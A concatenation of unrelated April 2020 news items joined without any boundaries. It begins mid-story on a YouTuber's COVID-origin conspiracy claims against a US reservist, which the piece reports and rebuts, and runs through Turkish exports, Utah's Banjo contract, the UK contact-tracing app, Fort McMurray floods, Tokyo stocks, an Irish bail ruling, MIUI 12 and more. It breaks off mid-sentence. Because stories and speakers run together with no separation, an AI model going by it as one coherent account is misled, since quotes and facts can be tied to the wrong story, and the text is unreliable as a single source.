Webb claims that the COVID-19 was manufactured in a facility owned by the US military and brought by Benassi during the Military Olympics. After the uploads of Webb, inboxes of the couple started to receive tons of hateful and threatening messages from across the world and even strange letters have been posted through their front door with comments calling for their execution or killed by firing squad. In other videos of Webb, he even claims that Benassi and Italian DJ Benny Benassi somehow conspired together to infect the world with the coronavirus. Famed for his 2002 song 'Satisfaction,' the Italian DJ shared that he never met the American reservist or even her husband and clarified that they are not even related as far as they know. Related article: Why Did China Cover-Up Coronavirus? Experts Reveal Reason @ 2022 HNGN, All rights reserved. Do not reproduce without permission. BAKU, Azerbaijan, Apr. 28 By Rufiz Hafizoglu - Trend: Export of wood and furniture from Turkey to Tajikistan dropped by 11.2 percent from January 2020 through March 2020 and amounted to slightly over $6.1 million, Trend reports citing the Turkish Trade Ministry on April 28. In March 2020, Turkeys export of wood and furniture to Tajikistan decreased by almost 8.6 percent compared to March 2019, making up $2.2 million. In 1Q2020, export of wood and furniture from Turkey to world markets increased by 3.9 percent compared to the same period of 2019, and amounted to $1.3 billion. Meanwhile, Turkeys wood and furniture export amounted to 3.1 percent of the country's total export. In March 2020, Turkey exported wood and furniture worth $427.8 million to world markets, which is 9.3 percent less compared to the same month of 2019. Turkeys export of wood and furniture amounted to 3.2 percent of the country's total export. From March 2019 through March 2020, Turkey exported wood and furniture in the amount of over $5.5 billion. --- Follow the author on Twitter: @rhafizoglu Utah is putting its AI surveillance system on ice after learning of its creators background. The state has suspended (via Salt Lake Tribune) Banjos contract after learning from a OneZero report that company head Damien was part of the Dixie Knights of the Ku Klux Klan as a teenager and joined the racist groups leader in an anti-Semitic drive-by shooting. While Patton has expressed remorse for his past, according to Utah Attorney General Sean Reyes, officials were concerned enough that they felt it was safer to put an advisory committee and independent audit in place to tackle concerns like privacy and possible bias. Banjos deal with Utah lets it combine data from city infrastructure (such as public cameras and 911) with internet content to spot anomalies, theoretically detecting some crimes as they happen. The firm is supposed to strip all personal data from the system, but the methods and effectiveness arent clear. Theres also the matter of AI bias. Facial recognition systems sometimes have gender and race biases that lead to false matches a particular problem when it could lead to wrongful arrests and confrontations. Utah isnt strictly backing away from its use of AI surveillance, but its move follows similar rejections of Clearview AIs own facial recognition system. Even if governments dont immediately object to the underlying privacy ramifications of this technology, they have growing concerns about the potential for misuse. A smartphone app designed to help curb the spread of coronavirus when the lockdown is eased should be ready "two to three weeks", MPs have been told. The Science and Technology Committee was told on Tuesday that the tool will be trialled in a "small area" shortly to help gauge its success. The app will work by using a smartphone's Bluetooth technology to keep an anonymous record of other smartphone users they come into close proximity with. The user will then have the option to send data to the app if they begin to show symptoms of Covid-19 or have tested positive. This will send a notification to others who have been in close contact with the phone user. It comes as the Government faces mounting pressure to lay out an exit strategy to strict social distancing measures that are crippling the economy. Matthew Gould, head of NHSX, the health service's digital innovation arm, said: "We are, I hope, on course to have the app ready for when it will be needed, for the moment when the country looks to have the tools to come out of lockdown safely. "We are going as fast as we can, we have teams of people looking at it 24/7." However, Mr Gould admitted regret after the committee was told work on the app did not start until March 7, two weeks before lockdown measures were introduced across the UK. He said: "Yes it could have done, and with the benefit of hindsight I wish that it had." The app will work by using a smartphone's Bluetooth technology / PA Archive/PA Images Professor Christophe Fraser, senior group leader in pathogen dynamics at University of Oxford Big Data Institute, told the committee that widespread uptake of a contact-tracing app would likely keep the reproduction rate - seen as crucial for easing lockdown measures - low. Prof Fraser said: "Because we don't know what the uptake of the app will be, in scenarios that are relatively pessimistic we found that if roughly 60 per cent of the population use the app, it would be enough to bring the reproduction number below one and control the epidemic." Mr Gould said it would be "tough" to get 80 per cent of smartphone users to install the contact-tracing app, but said encouraging people to do so needed to become part of the Government's "core message" in limiting the spread of the virus. Coronavirus hits the UK - In pictures 1 /81 Coronavirus hits the UK - In pictures A deserted Westminster Bridge PA A man wearing a face mask or covering due to the COVID-19 pandemic, walks past customers sat outside a restaurant AFP via Getty Images Boris Johnson addresses the nation on the Coronavirus lockdown Andrew Parsons Runners pass cardboard cutouts of Britain's Queen Elizabeth II and Prince William during the London Marathon in London AP An empty escalator at Charing Coss London Underground tube station Jeremy Selwyn Electronic bilboards displays a message warning people to stay home in Sheffield PA A sign is displayed in the window of a student accommodation building following the outbreak of the coronavirus disease (COVID-19) in Mancheste Reuters People take part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions, in Londo AP People sing and dance in Leicester Square on the eve on the 10PM curfew Reuters Hearts painted by a team of artists from Upfest are seen in the grass at Queen Square, following the coronavirus disease (COVID-19) outbreak in Bristol Reuters Graffiti reads 'good luck and stay safe', as the number of coronavirus disease (COVID-19) cases grow around the world, under a bridge in London Reuters A sign is pictured in Soho, amid the outbreak of the coronavirus disease (COVID-19), in London Reuters Prime Minister Boris Johnson gestures, during a coronavirus briefing in Downing Street, London AP A person runs past posters with a message of hope, as the spread of the coronavirus disease (COVID-19) continues in Manchester REUTERS Riot police face protesters who took part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions in London AP An image of The Queen eith quotes from her broadcast to the UK and the Commonwealth in relation to the Coronavirus epidemic are displayed on lights in London's Piccadilly Circus PA Military vehicles cross Westminster Bridge after members of the 101 Logistic Brigade delivered a consignment of medical masks to St Thomas' hospital Getty Images Durdle Door in Dorset Reuters Captain Tom Moore via Reuters Mia, aged 8, and Jack, aged 5, take part in "PE with Joe" a daily live workout with Joe Wicks on Youtube to help kids stay fit who have to stay indoors due to the Coronavirus outbreak PA An NHS worker reacts at the Chelsea and Westminster Hospital during the Clap for our Carers campaign in support of the NHS Reuters Goats which have taken over the deserted streets of Llandudno @AndrewStuart via PA Tobias Weller PA Novikov restaurant in London with its shutters pulled down while the restaurant is closed London Landscapes: Hyde Park and the Serpentine, central London. Matt Writtle A newspaper vendor in Manchester city centre giving away free toilet rolls with every paper bought as shops run low on supplies due to fears over the spread of the coronavirus PA Theo Clay looks out of his window next to his hand-drawn picture of a rainbow in Liverpool, as the spread of coronavirus disease (COVID-19) continue Reuters A young man cuts another man's hair on top of a closed hairdresser in Oxford Reuters General view of the new NHS Nightingale Hospital, built to fight against the spread of the coronavirus disease (COVID-19), in London via Reuters Jason Baird is seen dressed as Spiderman during his daily exercise to cheer up local children in Stockport, as the spread of the coronavirus disease (COVID-19) continues Reuters A woman wearing a face mask walks past Buckingham Palace Getty Images A man holds mobile phone displaying a text message alert sent by the government warning that new rules are in force across the UK and people must stay at home PA Medical staff on the Covid-19 ward at the Neath Port Talbot Hospital, in Wales, as the health services continue their response to the coronavirus outbreak. PA Prime Minister Boris Johnson taking part in a virtual Cabinet meeting with his top team of ministers PA A shopper walks past empty shelves in a Lidl store on in Wallington. After spates of "panic buying" cleared supermarket shelves of items like toilet paper and cleaning products, stores across the UK have introduced limits on purchases during the COVID-19 pandemic. Some have also created special time slots for the elderly and other shoppers vulnerable to the new coronavirus. Getty Images People on a busy tube train in London at rush hour PA Mia, aged 8 and her brother Jack, aged 5 from Essex, continue their school work at home, after being sent home due to the coronavirus PA Children are painting 'Chase the rainbows' artwork and springing up in windows across the country Reuters Social distancing in Primrose Hill Jeremy Selwyn A general view of a locked gate at Anfield, Liverpool as The Premier League has been suspended PA Homeless people in London AFP via Getty Images A piece of art by the artist, known as the Rebel Bear has appeared on a wall on Bank Street in Glasgow. The new addition to Glasgow's street art is capturing the global Coronavirus crisis. The piece features a woman and a man pulling back to give each other a kiss PA The Queen leaves Buckingham Palace, London, for Windsor Castle to socially distance herself amid the coronavirus pandemic PA A general view on Grey street, Newcastle as coronavirus cases grow around the world Reuters Matt Raw, a British national who returned from the coronavirus-hit city of Wuhan in China, leaves quaratine at Arrowe Park Hospital on Merseyside PA Britain's Chief Medical Officer Professor Chris Whitty (L) and Chief Scientific Adviser Patrick Vallance look on as British Prime Minister Boris Johnson gestures as he speaks during a coronavirus disease (COVID-19) news conference inside 10 Downing Street Reuters The ticket-validation terminals at the tram stop on Edinburgh's Princes Street are cleaned following the coronavirus outbreak. PA Locked school gates at Rockcliffe First School in Whitley Bay, Tyne and Wear PA A sign at a Sainsbury's supermarket informs customers that limits have been set on a small number of products as the number of coronavirus (COVID-19) cases grow around the world Reuters Jawad Javed delivers coronavirus protection kits that he and his wife have put together to the vulnerable people of their community of Stenhousemuir, between Glasgow and Edinburgh AFP via Getty Images A sign advertising a book titled "How Will We Survive On Earth?" Getty Images A man who appears to be homeless sleeping wearing a mask today in Victoria Jeremy Selwyn A pedestrian walks past graffiti that reads "Diseases are in the City" in Edinburgh AFP via Getty Images Staff from The Lyric Theatre, London inform patrons, as it shuts its doors PA A quiet looking George IV Bridge in Edinburgh PA A quieter than usual British Museum Getty Images A racegoer attends Cheltenham in a fashionable face mask SplashNews.com A commuter wears a face mask at London Bridge Station Jeremy Selwyn A empty restaurant in the Bull Ring Shopping Centre Getty Images A deserted Trafalgar Square in London PA Passengers determined to avoid the coronavirus before leaving the UK arrive at Gatwick Airport Getty Images The Government has been coming under increasing pressure over easing the lockdown, with Mr Johnson saying on Monday more would be said about the issue in the coming days. He said: "The message needs to be: if you want to keep your family and yourselves safe, if you want to protect the NHS and stop it being overwhelmed and at the same time we want to get the country back and get the economy moving, the app is going to be an essential part of the strategy for doing that." He said developers were working with the Information Commissioner's Office to make sure the app was compliant with data protection laws, but said phone users could be "confident" their personal data would not be compromised, nor would it be shared with the private sector. He added: "The system we have developed of people using randomised identifiers, storing it on the phone, uploading it when they become systematic, I think it squares the circle of being fast-moving and doing what we want it to do and protecting people's privacy." Speaking in the Commons, Solicitor General Michael Ellis said that the app will be "heavily protected" and predicted that it will prove to be "very popular". He said: "Stakeholder engagement in this matter has been crucially important and continues to be, not only with the ethics advisory board for this app, chaired by Professor Sir Jonathan Montgomery, but we've also been consulting with the information commissioner, the centre for data ethics and innovation, the national data guardian and many others. Source: Xinhua| 2020-04-28 01:12:37|Editor: huaxia Video Player Close "The Peacebuilding Fund is an invaluable tool, and I urge you to ensure it has the resources it needs." UNITED NATIONS, April 27 (Xinhua) -- United Nations Secretary-General Antonio Guterres on Monday urged the international community to do more to address various challenges faced by young people who are encountering such problems as inadequate participation opportunities and exclusion from political decision-making. "We must do more to address these challenges, guided by the findings of the Independent Progress Study on Youth Peace and Security," the UN chief told the virtual Security Council meeting on the Maintenance of International Peace and Security: Youth, Peace and Security. The secretary-general called on the international community to invest in young people's participation, organizations and initiatives. "The Peacebuilding Fund is an invaluable tool, and I urge you to ensure it has the resources it needs," he said. Photo taken on April 3, 2020 shows UN Secretary-General Antonio Guterres speaking at a virtual press briefing at the United Nations headquarters in New York. (Xinhua/Xie E) Guterres also said that "we must strengthen human rights protections and protect the civic space on which youth participation depends," adding that "we must emerge from the COVID-19 crisis with a determination to recover better -- massively increasing our investment in young people's capacities as we deliver the Sustainable Development Goals." Noting that the world has been shaken by the COVID-19 pandemic, Guterres said that "young people are feeling the impact acutely, from lost jobs to family stress, mental health and other hardships." "Over 1.54 billion children and youth are out-of-school," said the secretary-general. "Young refugees, displaced persons and others caught up in conflict or disaster now face even more vulnerability. Persons with disabilities may face new hindrances in access to the services and support to which they have a right." Noting that young people were facing enormous challenges even before the current crisis, he said that one of every five young people was already not in education, training or employment. Photo taken on March 10, 2020 shows the visitors' entrance to the United Nations headquarters in New York. (Xinhua/Wang Jiangang) "One of every four is affected by violence or conflict," he added. "And every year, 12 million girls become mothers while they themselves are still children." "These frustrations and, frankly, failures to address them by those in power today, fuel declining confidence in political establishments and institutions," said the secretary-general. The UN chief warned that "when such a cycle takes hold, it is all too easy for extremist groups to exploit the anger and despair, and the risk of radicalization climbs." Despite these hurdles and risks, the UN chief said, young people are still finding ways to engage, support each other, and to demand and drive change. "The world cannot afford a lost generation of youth, their lives set back by COVID-19 and their voices stifled by a lack of participation," he said. FORT MCMURRAY, ALTA.Officials in Fort McMurray are keeping a close eye on river levels after a 25-kilometre ice jam caused major flooding and forced about 12,000 people from their homes. Don Scott, mayor of the Regional Municipality of Wood Buffalo, said the ice jam has shrunk by two to three kilometres. But both he and Scott Davis, director of emergency management for the municipality, said it remains a critical situation. Unfortunately we are not in the home stretch yet, Davis said Tuesday during a news conference. The latest data shows the Clearwater River is still rising and the Athabasca River has only dropped by about four centimetres, added Scott. The mayor said it has caused the worst flooding in the region in 100 years and will have a devastating impact on the downtown. A second state of local emergency is in effect on top of one declared last month because of the COVID-19 pandemic. Scott said he has met with Alberta Premier Jason Kenney and talked to federal Emergency Preparedness Minister Bill Blair, and both offered to help. However, the municipality has not asked the province to make a formal request to the federal government. We made a large series of asks of the premier, said Scott. That included more RCMP support. It includes things like tiger dams, potentially sandbags and other support going forward. Kenney and Alberta Environment Minister Jason Nixon toured the area on Monday and said the province is ready to help. We took a flight over the city and saw the impact. Its very significant, Kenney said during a news conference Monday night. This, of course, adds to ... a community that has struggled with the fire (four) years ago, with several years of economic adversity and now with the coronavirus pandemic and now these floods. The citys entire downtown is under an evacuation order due to high water caused by spring ice breakup on the rivers in the area. Northern Lights Regional Health Centre and the nearby Grayling Terrace neighbourhood are exempt from the order. More than 5,000 people have registered at two evacuation centres and the municipality says that number is expected to grow because about 12,000 people live in the areas being evacuated. Kenney said officials will work with the municipality to request the federal governments support if its needed. The federal government said it is ready to help. We are closely monitoring the situation in Fort McMurray during this difficult time, Blair said in an emailed statement. While no formal requests have been made, our government is ready to help when called upon. Read more about: In a new flying etiquette, JetBlue Airways has become the first US airline to make it mandatory for the passengers to wear face protective masks on the planes during the coronavirus pandemic. The New York-based airline announced in an official statement on the website that in accordance with the Centres for Disease Control and Prevention (CDC) guidelines, the airlines requires all passengers and the staff aboard to mandatorily wear masks, effective May 4, during check-in, to boarding, in-flight and deplaning. Although, with an advisory in place since April 18, the American airlines hadnt made it into their policy for flyers to cover the face. JetBlue's president and chief operating officer, Joanna Geraghty said, onboard, cabin air is well circulated and cleaned through filters every few minutes, however, a plane is a shared space where on has to be considerate of others. Therefore, wearing a face-covering isnt about protecting yourself its about protecting those around you, he said. This is the new flying etiquette. We are also asking our customers to follow these CDC guidelines in the airport as well. With Canada ahead in safety compliance, the US leading airlines like American Airlines and Delta Air Lines were due to make masks sanitizing wipes a policy while on duty next month, June 30, as per US media reports. Delta was reported as saying that it would nearly be impossible to follow safety protocols onboard planes such as to get the passengers to keep a distance of six feet apart between themselves and a customer or another employee. Therefore, the airline was considering to make masks a priority starting April 28. Read: Ethiopian Airlines Launches Cargo Services To Hyd, Connecting African Markets With City Read: Delta's 1Q Was Bad, But It Will Get Worse For US Airlines 'Airlines must follow JetBlue's lead' The international president of the Association of Flight Attendants-CWA, Sara Nelson, lauded the JetBlue's face mask policy addition and renewed her call for DOT and HHS to issue adherence to all US airlines for the passenger safety protocol, according to reports. She stressed that the airlines must follow JetBlues lead. JetBlues lead. The airlines wrote in the statement, Customers will be reminded of this requirement before their flight via email and at the airport by both terminal signage and announcements. Small children who are not able to maintain a face covering are exempt from this requirement. Read: Treasury: Major Airlines Will Take Aid To Meet Payrolls Read: DGCA Directs Airlines To Stop Taking Bookings Source: Xinhua| 2020-04-28 18:41:56|Editor: huaxia Video Player Close TOKYO, April 28 (Xinhua) -- Tokyo stocks closed mixed Tuesday as investors were both concerned about the government possibly extending the state of emergency over the coronavirus pandemic, yet also buoyed by hopes of further purchases of exchange-traded funds by the Bank of Japan. The 225-issue Nikkei Stock Average shed 12.03 points, or 0.06 percent, from Monday to close the day at 19,771.19. The broader Topix index of all First Section issues on the Tokyo Stock Exchange, meanwhile, edged 1.90 points, or 0.13 percent, higher to finish at 1,449.15. Tokyo stocks struggled to find overall momentum as different cues pulled investors in different directions, with some heartened by some businesses in the U.S. and the Europe very gradually restarting operations, while other were concerned Japan's state of emergency may be extended, brokers here said. They highlighted Japanese Prime Minister Shinzo Abe remarking in parliament today that a decision on extending the state of emergency past the May 6 deadline was pending input from a variety of experts. "Without clear indications on whether the infection situation is heading in a better direction, market players remain cautious of actively buying shares," Yutaka Miura, senior technical analyst at Mizuho Securities Co., was quoted as saying. Other analysts pointed out that investors were reluctant to assume bold positions ahead of the upcoming Golden Week string of national holidays, which begin with a single day off Wednesday and continue next week. "The Nikkei index didn't go up because we are expecting holidays," Okasan Online Securities said with regard to the upcoming spring holidays. But expectations the Bank of Japan would purchase exchange-traded funds (ETFs) to underpin the market added support, market analysts said, while government bonds were bought following the bank saying a day earlier it would scrap its upper limit on bond purchases. Firms releasing solid earnings and outlook reports found favor, particularly in the tech sector, with Panasonic jumping 3.0 percent, while Screen Holdings gained 3.3 percent. Yaskawa Electric, meanwhile, ended the day 3.2 percent higher. Renesas Electronics Corp. surged 7.7 percent, after announcing a net profit of 11.3 billion yen (105 million U.S. dollars) for the January-March quarter, which beat market expectations. But Kyocera Corp. lost ground, dropping 4.8 percent, after the firm said it expects its net profit for the current business year ending March to fall more than 18 percent, which disappointed the market. Energy-linked issues and trading houses came under pressure after crude oil prices dropped overnight, with exploration giant Inpex sinking 1.2 percent, while Marubeni closed the day 1.5 percent lower. By the close of play, iron and steel, and mining issues led notable decliners, while rubber product and air transportation issues comprised those that gained the most. Issues that rose outpaced those that fell by 1,330 to 757 on the First Section, while 83 ended the day unchanged. On the main section on Tuesday, 1.233 billion shares changed hands, dropping from Monday's volume of 1.247 billion shares. The turnover one the second trading day of the week came to 2.114 trillion yen (19.813 billion U.S. dollars). Enditem Some of the worlds biggest film festivals, including Sydneys, will join forces to host a 10-day virtual program on YouTube from May 29. We Are One: A Global Film Festival is the brainchild of New Yorks Tribeca Film Festival. Nashen Moodley, artistic director of the Sydney Film Festival, said he was approached out of the blue by that festivals creative team about a week ago. Nashen Moodley, director of the Sydney Film Festival. Credit:Peter Rae I got an email, we had a call, I thought it sounds great, but its tough because its never been done before, he said. While the full shape of the festival is yet to be determined, Moodley said it was likely to feature a mix of feature films, documentaries, short films, masterclasses and live music and comedy events. Business leaders say they want more detail on Ontarios strategy for restarting the economy after Premier Doug Ford outlined a plan without a time frame. Companies need to know what conditions will be attached to reopening such as the rules for face shields and other personal protective equipment so they can prepare, said Dan Kelly, president of the Canadian Federation of Independent Business. Tell us now what kinds of things might be critical for us to have in a business to allow it to open so we have the time to get those things in order, Kelly said Tuesday in a television interview with BNN Bloomberg. On Monday, Ford outlined a gradual, phased approach to getting Canadas largest provincial economy back to work. The plan has three stages but the details were vague and Ford committed to no hard dates or plans for specific industries. In the first stage, some businesses would be allowed to reopen if they can immediately modify operations to meet public health guidance. The second stage would see more retailers allowed to open, as well as some offices. But the province first needs more testing and contact tracing to ensure it can control outbreaks. Heartbeat of business Its good news were starting to talk about reopening, Kelly said. At the same time, it was quite tentative and small. Kelly said there needs to be more clarity around why big companies like Walmart and Costco can stay open while smaller stores remain shuttered. Weve got to make sure we allow the smallest of businesses to have a little bit of heartbeat of business, to keep them going, Kelly said. The Canadian Chamber of Commerce released a statement Tuesday with five recommendations for reopening the economy. The group said policy makers must take input from business of all sizes and sectors. As governments and public health officials increasingly consider the gradual relaxation of shutdown orders and set the conditions, they need to work closely with business, the chambers chief economist, Trevin Stratton, said in a release. The chamber recommends the government create a task force to provide timely advice. As they implement public health measures, businesses will need time to procure personal protective equipment and change how they operate, it said. Read more about: Kolkata: A police team in West Bengal's Howrah was attacked as they tried to disperse a large crowd that had gathered in the Tikiyapara area. According to police, when they tried to break the gathering and vacate the premises, the mob attacked them and hurled stones and empty glass bottles on them. The mob also vandalised a police car that was parked nearby, said personnel. He added that the Rapid Action Force and police teams were outnumbered by the mob as they cornered the security force personnel and chased them. #Watch: Vandals & lockdown violators attack cops of Howrah City Police at Tikiapara. Police reached the spot to disperse the violators when they pelted stones at them, vandalised police vehicle. Huge force rushed to the spot, situation now peaceful @ZeeNewsCrime @capt_ivane pic.twitter.com/MguY0J7VFH Pooja Mehta (@pooja_news) April 28, 2020 In a video that has been shared on social media, the vandals are seen pelting stones at security forces. In the wake of coronavirus COVID-19 epidemic, the government has banned any sort of gathering at any religious or non-religious places across the country. Apart from the Centre and state governments, the local authorities are also ensuring that no such assembling takes place anywhere, to combat the spread of the infection. NE Norfolk churches supporting the community NE Norfolk churches supporting the community Members of the churches in the Coastal group of parishes are providing support for community during the coronavirus crisis. Those who need help can use a network of DBS-checked volunteers, who can help with delivering shopping or medication, taking post or simply chatting over the phone. Help is available in Bacton, Happisburgh, Hempstead with Eccles and Lessingham, Ridlington, Sea Palling with Waxham, Walcott and Witton. Those needing help should call the Revd Catherine Dobson on 01692 650359 and leave a message to be called back. The notice posted on the Coastal Group website says: Coastal Group community is offering help during coronavirus outbreak. As a church community, we are concerned for those who are vulnerable in our neighbourhoods and who might need help. Using a network of DBS checked volunteers, we can help with the delivery of shopping/medication to your door-step, taking post or simply a chatting on the phone. "We can also signpost partner organisations if you are experiencing hardship. If you are in need, we will do our best to help. If you are already supporting your neighbours, thank you for all you are doing. Factfile The alleged abduction and assault on Quinn Industrial Holdings (QIH) director Kevin Lunney was the culmination of a campaign of harassment and intimidation against the companys directors, according to a High Court judge. Mr Lunney was allegedly told to resign and to have all court cases involving the company dropped, according to Mr Justice Paul Burns, as he granted High Court bail to two of the QIH directors alleged attackers. Luke O'Reilly (66), from Mullahoran Lower, Kilcogy, Co Cavan and Darren Redmond (25), from Caledon Road, East Wall, in Dublin are facing trial at the non-jury Special Criminal Court for the false imprisonment and serious assault of Mr Lunney at Drumbrade, Ballinagh, Co Cavan on September 17, 2019. Mr Lunney was found incapacitated on a roadway in Co Cavan on the date in question, having suffered a broken leg and been doused in bleach. In an interview with the BBC last year, Mr Lunney alleged that the letters QIH had been carved into his chest with a Stanley knife during the two-and-a-half hour ordeal. Granting both men High Court bail on Tuesday morning, Mr Justice Burns said the alleged abduction and assault on Mr Lunney was vicious, cruel and abhorrent criminal behaviour which rightly attracted great public revulsion and anger. He said any charges arising out of the incident must be viewed as serious and any person convicted of the alleged offences could expect to receive a significant custodial sentence. However, he said the accused were presumed innocent and there was an entitlement to bail. Mr Justice Burns said the alleged abduction and assault on Kevin Lunney was preceded by a series of attacks on QIH but it was fully accepted that neither Mr OReilly nor Mr Redmond were suspected of being involved of those earlier incidents The judge said the alleged abduction and assault on Kevin Lunney was the culmination of a campaign of harassment and intimidation of the QIH directors. The court was entitled to contextualise the alleged abduction and assault on Kevin Lunney, while bearing in mind the presumption of innocence, he added. He said the alleged abduction and assault of Mr Lunney itself was intimidatory. Mr Lunney was allegedly told to resign his directorship and drop all court cases involving QIH, the judge said. His alleged captors told him, the judge said, not to make any statements to gardai or they will be back. Mr Justice Burns said there had been some dispute between the parties about the strength of the evidence against each accused. He said it was sufficient for him to say that the prosecution case is a reasonably strong one although there was aspects of the States case that might be open to challenge. He said the case was circumstantial in nature, but that was not an indication of strength or weakness in the prosecutions case. Counsel for the Director of Public Prosecutions, Aoife OLeary BL, maintained that no conditions of bail could allay the DPPs concerns, the judge said. Mr Justice Burns said Mr OReilly was almost 67 years of age and had moderate health problems. His family and wife were in the Republic of Ireland and he had long running ties to this jurisdiction. He had no history of violence or intimidation, the judge said, and it was unlikely he would attempt to go on the run. Mr Justice Burns said Mr Redmond was significantly younger and in good health. He said the prosecution had fallen short of meeting the standard required to refuse bail. However, it was a borderline case, the judge said, and any bail had to be subject to stringent conditions. Mr OReilly will be required to enter into his own bond of 75,000 with two independent sureties of 10,000 each. Mr Redmond will be required to enter into his own bond of 3,000 with two independent sureties in the sum of 10,000 each. They are required to surrender their passports and not apply for any new or duplicate passports or travel documents. They are required to sign on twice daily at their local garda stations but this condition was suspended until such time as there was a relaxation of the current Covid-19 restrictions. They were directed to furnish the gardai with telephone numbers and for those phones to be switched on at all times and for them to answer those phones to gardai. Failure to do so would represent a breach of bail. Mr OReilly was required not to come within 10km of Mr Lunneys home or place of business. They are also required to obey a curfew and and not to have any contact with the alleged injured party or any prosecution witnesses. Mr OReilly and Mr Redmond are facing trial at the non-jury Special Criminal Court, along with Alan OBrien (39), of Shelmalier Road, East Wall and a fourth accused who cannot be named for legal reasons. Mr OReilly and Mr Redmond were previously refused bail by the High Court. However, the decision to charge the men with the more serious Section 4 assault permits them to apply again. They had originally been charged with assault causing harm but are now facing charges of assault causing serious harm. Books of evidence were served on all four accused on March 26. Mr OReilly and Mr Redmond appeared via video link from Portlaoise Prison and could be seen wearing face masks on the courts televisions screens throughout the two-day hearing. Please switch off all mobile phones and maintain social distancing, the court crier told people assembled in court for the hearing. Alongside the new Mi 10 Youth Edition smartphone in China, Xiaomi announced its new software skin MIUI 12 yesterday. This particular version of the software will eventually be rolled out to most of its other phones too, so that's what we're going to be taking a look at today. With the new MIUI 12, Xiaomi has given a complete overhaul with this new software skin and it's now said to offer a more refined UI along with enhanced privacy features. The update will eventually be rolled out to some Xiaomi devices here in India too, so here are 5 exciting features that we're looking forward to the most: 1. UI Changes Xiaomi As mentioned earlier, Xiaomi has made a ton of UI changes, and this time, it looks like Xiaomi has gone for a minimal look. There are a ton of new animations in MIUI 12 and they look super smooth with no stutter or tearing. There are subtle touches like "real-time background blur" while closing an app and it looks incredible. 2. Dark Mode 2.0 We all love Dark Mode, don't we? Well, the MIUI 12 will bring Dark Mode 2.0 with a ton of improvements to the existing Dark Mode. Xiaomi says it has worked to improve readability and reduce eye strain while using the dark mode. Users will now notice automatic font-weight and contrast adjustments across the board, which sounds super exciting. Xiaomi The Dark Mode 2.0 also brings Wallpaper Dimming feature to dynamically adjust the colour temperature of your wallpaper. 3. Small Windows For All Apps Being able to use small screen windows for things like replying to messages, emails, etc, is super convenient. Well, Xiaomi is now making it accessible for every app on MIUI 12. You can also use this to minimize your game when you're in, say, the lobby, and check your Instagram feed in the meantime. 4. Privacy Features Xiaomi is adopting a three-pronged approach to improve privacy in MIUI 12. First off, you have Flare that will keep a track of the behaviour of all apps on your phone and present you with a list of apps that may be violating your privacy. This will come super handy for those who hate keeping a track of things like this all the time. Xiaomi Next up, there's Barbed Wire which essentially builds on the privacy improvements in Android 10. MIUI 12 won't show the option to "always allow" things like location if the app does not specify what it requires the permission for. Lastly, there's the Mask System that lets you create and share virtual IDs with apps on their MIUI 12 devices. This should give you more control over what data you want to share with the apps. 5. MIUI 12 Eligible Devices According to Xiaomi, MIUI 12 is the testing phase and the stable version is expected to roll out starting June. These are the first batch of devices expected to get the new UI: - Mi 10 - Mi 10 Pro - Mi 10 Youth Edition - Mi 9 Pro 5G - Mi 9 Transparent Edition - Mi 9 - Redmi K30 Pro Zoom Edition - Redmi K30 Pro - Redmi K30 5G - Redmi K30 - Redmi K20 Pro Premium - Redmi K20 Pro - Redmi K20 The second batch of devices (no timeline) are as follows: - Mi Mix 3 - Mi Mix 2s - Mi CC9 Pro - Mi CC9 - Mi CC9 Meitu Edition - Mi 9 SE - Mi 8 UD - Mi 8 Transparent Edition - Mi 8 - Redmi Note 8 Pro - Redmi Note 7 Pro - Redmi Note 7 Lastly, the third batch of the devices are: - Mi CC9E - Mi Note 3 - Mi Max 3 - Mi 8 Lite - Mi 8 SE - Mi Mix 2 - Mi 6X - Redmi Note 8 - Redmi 8 - Redmi 8A - Redmi 7 - Redmi 7A - Redmi 6 Pro - Redmi 6 - Redmi 6A - Redmi Note 5 - Redmi S2 Source: Beebom PR-Inside.com: 2020-04-28 14:36:32 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 573 Words ACCESSWIRE News Network888.952.4446 FCC program with local contacts enables independence for those with significant hearing and vision loss: "iCanConnect really changed my life"WATERTOWN, MA / ACCESSWIRE / April 28, 2020 / Staying connected in these trying times is more important than ever, and even more so for those with significant hearing and vision loss. Like most granddads, Ernest Gallman couldn't wait to meet his youngest grandson, Carson, when he was born last month. Unfortunately, due to the COVID-19 pandemic and social distancing guidelines, Gallman was not able to meet him in person. The 69-year-old Columbia, South Carolina man began losing his eyesight at age 10 and has experienced progressive hearing loss over the years. But with equipment and training provided by iCanConnect, also known as The National Deaf-Blind Equipment Distribution Program, Gallman was able to meet his grandson virtually."Of course I was sad I couldn't meet my grandson in person," said Gallman, "but with everything that's going on in the world, it was safest to meet him virtually. I did a video call with my daughter while she was feeding him and I could listen to him coo, cry, and burp using my Bluetooth headset. It was nice!""It's always meaningful to learn about the difference iCanConnect makes in the lives of participants in the program. They're using their equipment to stay updated with important information, and to keep in touch, especially during this period of social distancing," said Marcia Brooks, Director, Perkins National Deaf-Blind Equipment Distribution Program. "Sending an email or chatting on the phone can be challenging for people with both significant vision and hearing loss. Our mission is to help them stay connected with friends, family, community, and the world, especially during these challenging times." Now, not only does Gallman use the equipment he received through iCanConnect to keep in touch with his family, it's also a lifeline to the essential goods and services he needs to remain independent. "My laptop is invaluable," he said. "I use it to order groceries online and have them delivered to my house. And if I can't get a delivery, I email the list to my daughter and she shops for me and leaves the necessities on my porch." Before Gallman became an iCanConnect participant, he used an older flip phone and laptop to stay in touch with his family and friends. "I was pretty good with the flip phone," he said, "but when I received my new smartphone, Bluetooth headset, and computer through iCanConnect, it was so much easier and faster to get in touch with my family. The equipment and training I received through iCanConnect really changed my life," Gallman continued. "It made me more independent. I still can't wait to meet my grandson in person! Hopefully it'll happen someday soon," he finished.About iCanConnectiCanConnect is a national program with local contacts in all 50 states, District of Columbia, Puerto Rico, the U.S. Virgin Islands, Guam, American Samoa and the Northern Mariana Islands. Established by the Federal Communications Commission (FCC) in 2012, iCanConnect provides qualified individuals who have both significant vision and hearing loss with free distance communication equipment and training. The program helps reduce isolation, increase independence, and maintain access to important information for these individuals. To learn more about iCanConnect, visit www.iCanConnect.org # # #Media Contact:Paula Slotkin, Slotkin Communicationspaula@ slotkincommunications.com 781-248-9696SOURCE: iCanConnect SAGINAW, MI - Registration is open for a new skilled trade degree program from Delta College, which it says is the first of its kind in the Great Lakes Bay Region. Starting in fall of 2020, students will be able to study to become instrumentation 